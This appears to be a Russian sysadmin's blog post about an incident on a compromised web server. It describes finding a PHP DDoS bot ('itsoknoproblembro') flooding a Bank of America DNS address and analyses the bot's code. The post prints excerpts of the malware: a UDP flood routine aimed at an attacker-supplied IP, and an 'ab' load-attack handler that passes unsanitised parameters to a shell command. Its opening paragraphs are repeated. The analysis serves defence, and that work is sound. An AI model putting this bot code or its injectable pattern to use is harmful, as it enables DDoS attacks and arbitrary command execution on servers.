Сегодня, около двух часов ночи, когда я хотел отойти ко сну, ко мне в скайп написал один из знакомых. В прошлом году я помогал ему администрировать несколько его серверов. В столь позднее время он писал о том, что сетевой интерфейс одного из его серверов полностью забит, судя по графику mrtg. Я посмотрел, действительно, я даже не смог достучаться до ssh, сервер перезагрузили и начался анализ ситуации…

После перезагрузки сервера, через какое-то время, трафик появился снова. Запустил iptraf, он показал довольно большое кол-во UDP пакетов к одному IP-адресу — "171.161.224.16", когда я его отрезолвил в dns5.bankofamerica.com: все встало на свои места, явно с сервера идет ддос.
Забанил IP в iptables. Посмотрел top, один из процессов httpd отъедал 100% cpu, натравил на него strace, увидел все тот же знакомый адрес. Так как access_log'ов на сервере нет, а в error_log'ах было пусто, то я обратился к логам прекрасного php-модуля baxtep (статья на хабре), который пишет в лог все попытки выполнить какую-либо команду через php интерпретатор. Я сделал RPMку и всегда ставлю его на подопечные серверы, как раз на такой случай. Я невооруженным глазом определил имя искомого скрипта:
Код файла доступен по ссылке, я нашел его в гугле по строке itsoknoproblembro из файла, в гугле всего один результат, свежак подумал я и решил написать об этом на хабр.
Размер файла всего 3кб, код не сложный. Основные возможности бота:
Остановлюсь подробнее на ддосе.
Скрипт получает адрес атакуемой цели через параметр, открывает UDP-сокет и пока сокет существует шлет запросы на 11-й порт. Причем, интересно что в данных он передает свой же адрес.
Вопрос «Зачем?» не покидает мою голову уже 12 часов.
Второй метод атаки — через утилиту ab:
Причем, здесь нет проверок входящих параметров и можно выполнять произвольные команды на сервере.
Ранее, я лично не сталкивался с UDP-ддосом на php, не заливали нам такого, погуглил — видимо народ уже давно практикует под разными соусами.

Анализ ситуации
После перезагрузки сервера, через какое-то время, трафик появился снова. Запустил iptraf, он показал довольно большое кол-во UDP пакетов к одному IP-адресу — "171.161.224.16", когда я его отрезолвил в dns5.bankofamerica.com: все встало на свои места, явно с сервера идет ддос.
Забанил IP в iptables. Посмотрел top, один из процессов httpd отъедал 100% cpu, натравил на него strace, увидел все тот же знакомый адрес. Так как access_log'ов на сервере нет, а в error_log'ах было пусто, то я обратился к логам прекрасного php-модуля baxtep (статья на хабре), который пишет в лог все попытки выполнить какую-либо команду через php интерпретатор. Я сделал RPMку и всегда ставлю его на подопечные серверы, как раз на такой случай. Я невооруженным глазом определил имя искомого скрипта:
2012-01-12 22:46:33 BAXTEP: system CMDLINE: `killall -9 perl` FILE: /home/user/site/htdocs/dir/db/indx.php on line 19 URI: /dir/db/indx.php
2012-01-12 22:46:33 BAXTEP: system CMDLINE: `killall -9 perl-bin` FILE: /home/user/site/htdocs/dir/db/indx.php on line 19 URI: /dir/db/indx.php
2012-01-12 22:46:33 BAXTEP: system CMDLINE: `killall -9 perl-cgi` FILE: /home/user/site/htdocs/dir/db/indx.php on line 19 URI: /dir/db/indx.php
Код файла доступен по ссылке, я нашел его в гугле по строке itsoknoproblembro из файла, в гугле всего один результат, свежак подумал я и решил написать об этом на хабр.
Анализ кода
Размер файла всего 3кб, код не сложный. Основные возможности бота:
- закачка файлов на сервер
- ддос большим кол-вом UDP пакетов
- ддос через утилиту ab
Остановлюсь подробнее на ддосе.
case "ust": $page = curPageURL(); $ip = $_POST['ip']; $port = "11"; $out = $page."\n"; $socket = stream_socket_client("udp://$ip:$port"); if ($socket) { stream_set_write_buffer($socket, 0); stream_socket_sendto($socket,$out); } fclose($socket); break;
Скрипт получает адрес атакуемой цели через параметр, открывает UDP-сокет и пока сокет существует шлет запросы на 11-й порт. Причем, интересно что в данных он передает свой же адрес.
function curPageURL(){ $pageURL = 'http'; if ($_SERVER["HTTPS"] == "on") { $pageURL .= "s"; } $pageURL .= "://"; if ($_SERVER["SERVER_PORT"] != "80") { $pageURL .= $_SERVER["SERVER_NAME"].":".$_SERVER["SERVER_PORT"].$_SERVER["REQUEST_URI"]; } else { $pageURL .= $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"]; } return $pageURL; }
Вопрос «Зачем?» не покидает мою голову уже 12 часов.
Второй метод атаки — через утилиту ab:
case "ab": $url = $_POST['url']; $c = $_POST['c']; $n = $_POST['n']; cmdexec("ab -c $c -n $n $url"); break;
Причем, здесь нет проверок входящих параметров и можно выполнять произвольные команды на сервере.
Ранее, я лично не сталкивался с UDP-ддосом на php, не заливали нам такого, погуглил — видимо народ уже давно практикует под разными соусами.
Выводы
- Как показала практика, такой скрипт легко забивает весь доступный канал.
- Ситуация стала реальностью, так как UDP не был параноидально зафильтрован на сервере.
- Кто-то решил положить BOA :)